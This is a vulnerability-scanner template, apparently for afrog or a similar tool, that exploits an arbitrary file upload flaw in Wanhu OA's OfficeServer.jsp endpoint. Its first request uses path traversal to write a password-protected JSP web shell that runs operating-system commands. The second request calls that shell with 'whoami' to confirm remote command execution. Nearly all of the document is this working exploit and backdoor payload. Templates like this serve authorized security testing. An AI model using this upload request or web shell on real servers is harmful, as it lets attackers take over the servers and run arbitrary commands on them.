wanhu-oa-officeserver-upload-file: 万户OA OfficeServer.jsp 任意文件上传漏洞

id: wanhu-oa-officeserver-upload-file

info:
  name: 万户OA OfficeServer.jsp 任意文件上传漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |
    万户OA 除了 /defaultroot/officeserverservlet 接口外的另一处接口 OfficeServer.jsp 同时也存在任意文件上传漏洞，导致攻击者可上传任意文件获取服务器权限
  reference: 
    - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E4%B8%87%E6%88%B7OA%20OfficeServer.jsp%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md

set:
  hostname: request.url.host
rules:
  r0:
    request:
      raw: |
        POST /defaultroot/public/iWebOfficeSign/OfficeServer.jsp HTTP/1.1
        Host: {{hostname}}
        Content-Type: application/x-www-form-urlencoded

        DBSTEP V3.0     141             0               300             DBSTEP=REJTVEVQ
        OPTION=U0FWRUZJTEU=
        RECORDID=
        isDoc=dHJ1ZQ==
        moduleType=Z292ZG9jdW1lbnQ=
        FILETYPE={{base64("../../upload/html/osias.jsp")}}
        ABCCBANNNNN<% if("osias".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
    expression: true
  r1:
    request:
      method: GET
      path: /defaultroot/upload/html/osias.jsp?pwd=osias&i=whoami
    expression: response.status == 200 && response.body.bcontains(b'ABCCBANNNNN') && response.body.bcontains(b'<pre>')
expression: r0() && r1()